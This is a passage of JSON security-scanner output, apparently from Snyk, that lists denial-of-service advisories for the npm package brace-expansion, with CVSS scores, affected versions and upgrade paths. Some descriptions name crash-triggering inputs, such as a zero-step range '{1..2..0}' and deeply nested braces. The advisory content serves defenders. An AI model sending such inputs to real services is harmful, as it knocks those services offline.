"2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable 